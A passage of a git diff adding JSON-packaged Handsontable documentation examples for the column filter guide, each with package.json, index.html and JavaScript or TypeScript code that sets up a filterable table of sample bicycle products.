    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleEnableFilterInColumns')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering for all columns\n filters: true,\n // enable the column menu for all columns\n // but display only the 'Filter by value' list and the 'OK' and 'Cancel' buttons\n dropdownMenu: {\n items: {\n filter_by_value: {\n // hide the 'Filter by value' list from all columns but the first one\n hidden() {\n return this.getSelectedRangeLast()!.to.col > 0;\n },\n },\n filter_action_bar: {\n // hide the 'OK' and 'Cancel' buttons from all columns but the first one\n hidden() {\n return this.getSelectedRangeLast()!.to.col > 0;\n },\n },\n clear_column: {\n // hide the 'Clear column' menu item from the first column\n hidden() {\n return this.getSelectedRangeLast()!.to.col < 1;\n },\n },\n },\n },\n // `afterGetColHeader()` is a Handsontable hook\n // it's fired after Handsontable appends information about a column header to the table header\n afterGetColHeader(col, TH) {\n // remove the column menu button from the 'Brand', 'Price', and 'Date' columns\n if (col > 1) {\n const button = TH.querySelector('.changeType')!;\n\n if (!button) {\n return;\n }\n\n button.parentElement!.removeChild(button);\n }\n },\n height: 'auto',\n example: 'exampleEnableFilterInColumns',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n} as Handsontable.GridSettings);","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleEnableFilterInColumns.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleEnableFilterInColumns","exampleTitle":"Enable filtering for individual columns","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.js.json new file mode 100644 index 00000000..10cd371d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Exclude rows from filtering · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#exampleExcludeRowsFromFiltering');\nnew Handsontable(container, {\n data: [\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 11,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 0,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 1,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 3,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 5,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 22,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 13,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 14,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 16,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 18,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 3,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Vinte',\n model: 'ML Road Frame-W',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 2,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n className: 'htRight',\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'numeric',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n height: 200,\n colWidths: [120, 150, 120, 140, 120, 120],\n fixedRowsTop: 1,\n fixedRowsBottom: 1,\n colHeaders: true,\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n afterFilter() {\n const filtersPlugin = this.getPlugin('filters');\n const filtersRowsMap = filtersPlugin.filtersRowsMap;\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(filtersRowsMap.getLength() - 1, false);\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleExcludeRowsFromFiltering.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.ts.json new file mode 100644 index 00000000..fc70e2fc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Exclude rows from filtering · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { Filters } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleExcludeRowsFromFiltering')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 11,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 0,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 1,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 3,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 5,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 22,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 13,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '13:23',\n inStock: 14,\n },\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 16,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: 18,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: 3,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: 0,\n },\n {\n brand: 'Vinte',\n model: 'ML Road Frame-W',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: 2,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n className: 'htRight',\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'numeric',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n height: 200,\n colWidths: [120, 150, 120, 140, 120, 120],\n fixedRowsTop: 1,\n fixedRowsBottom: 1,\n colHeaders: true,\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n afterFilter() {\n const filtersPlugin: Filters = (this as Handsontable).getPlugin('filters');\n const filtersRowsMap = filtersPlugin.filtersRowsMap;\n\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(filtersRowsMap.getLength() - 1, false);\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleExcludeRowsFromFiltering.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterBasicDemo.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterBasicDemo.js.json new file mode 100644 index 00000000..cc34aae1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterBasicDemo.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Filtering demo · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"// to import filtering as an individual module, see the 'Import the filtering module' section of this page\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleFilterBasicDemo');\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleFilterBasicDemo.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterBasicDemo","exampleTitle":"Filtering demo","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterBasicDemo.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterBasicDemo.ts.json new file mode 100644 index 00000000..3efb609e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterBasicDemo.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Filtering demo · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"// to import filtering as an individual module, see the 'Import the filtering module' section of this page\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleFilterBasicDemo')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleFilterBasicDemo.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterBasicDemo","exampleTitle":"Filtering demo","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.js.json new file mode 100644 index 00000000..7523a480 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Filter different types of data · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleFilterDifferentTypes');\n\nnew Handsontable(container, {\n data: [\n {\n model: 'Racing Socks',\n size: 'S',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n color: 'Black',\n },\n {\n model: 'HL Mountain Shirt',\n size: 'XS',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n color: 'White',\n },\n {\n model: 'Cycling Cap',\n size: 'L',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n color: 'Green',\n },\n {\n model: 'Ski Jacket',\n size: 'M',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n color: 'Blue',\n },\n {\n model: 'HL Goggles',\n size: 'XL',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n color: 'Black',\n },\n ],\n columns: [\n {\n title: 'Model',\n // set the type of the 'Model' column\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n // set the type of the 'Price' column\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Sold on',\n // set the type of the 'Date' column\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n // set the type of the 'Time' column\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n // set the type of the 'In stock' column\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n {\n title: 'Size',\n // set the type of the 'Size' column\n type: 'dropdown',\n data: 'size',\n source: ['XS', 'S', 'M', 'L', 'XL'],\n className: 'htCenter',\n },\n {\n title: 'Color',\n // set the type of the 'Size' column\n type: 'autocomplete',\n data: 'color',\n source: ['White', 'Black', 'Yellow', 'Blue', 'Green'],\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 175,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleFilterDifferentTypes.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterDifferentTypes","exampleTitle":"Filter different types of data","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.ts.json new file mode 100644 index 00000000..a3e001f2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Filter different types of data · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleFilterDifferentTypes')!;\n\nnew Handsontable(container, {\n data: [\n {\n model: 'Racing Socks',\n size: 'S',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n color: 'Black',\n },\n {\n model: 'HL Mountain Shirt',\n size: 'XS',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n color: 'White',\n },\n {\n model: 'Cycling Cap',\n size: 'L',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n color: 'Green',\n },\n {\n model: 'Ski Jacket',\n size: 'M',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n color: 'Blue',\n },\n {\n model: 'HL Goggles',\n size: 'XL',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n color: 'Black',\n },\n ],\n columns: [\n {\n title: 'Model',\n // set the type of the 'Model' column\n type: 'text', // 'text' is the default type, so you can omit this line\n data: 'model',\n },\n {\n title: 'Price',\n // set the type of the 'Price' column\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Sold on',\n // set the type of the 'Date' column\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n // set the type of the 'Time' column\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n // set the type of the 'In stock' column\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n {\n title: 'Size',\n // set the type of the 'Size' column\n type: 'dropdown',\n data: 'size',\n source: ['XS', 'S', 'M', 'L', 'XL'],\n className: 'htCenter',\n },\n {\n title: 'Color',\n // set the type of the 'Size' column\n type: 'autocomplete',\n data: 'color',\n source: ['White', 'Black', 'Yellow', 'Blue', 'Green'],\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column 